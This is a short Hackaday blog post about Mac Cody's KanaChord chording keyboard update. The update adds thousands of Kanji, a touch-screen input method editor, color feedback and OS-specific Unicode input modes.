Image by [Mac Cody] via GitHub[Mac Cody]’s update supports a whopping 6,165 Kanji along with 6,240 of the most common Japanese words containing Kanji. This is on top of what KanaChord already supported — all the Kana characters which make up the rest of Japanese writing.

As you may have guessed, KanaChord takes chording input — pressing multiple keys at once as you would on a piano. It uses color in order to indicate character type, Kana mode, and even to provide error feedback. Worried that it won’t work with your OS? There’s a slide switch to select one of three Unicode key sequences. Guess which three.

The touch screen is the icing on this updated cake. As you chord, an incremental Input Method Editor will search the embedded dictionaries and display an ordered list of Japanese words and Kanji choices to scroll through and select. [Mac Cody] has plans to support the Pico 2 and will update the comprehensive repo when it’s ready.

Got a hot tip that has like, anything to do with keyboards? Help me out by sending in a link or two. Don’t want all the Hackaday scribes to see it? Feel free to email me directly.

hackaday.com/2024/10/16/keebin…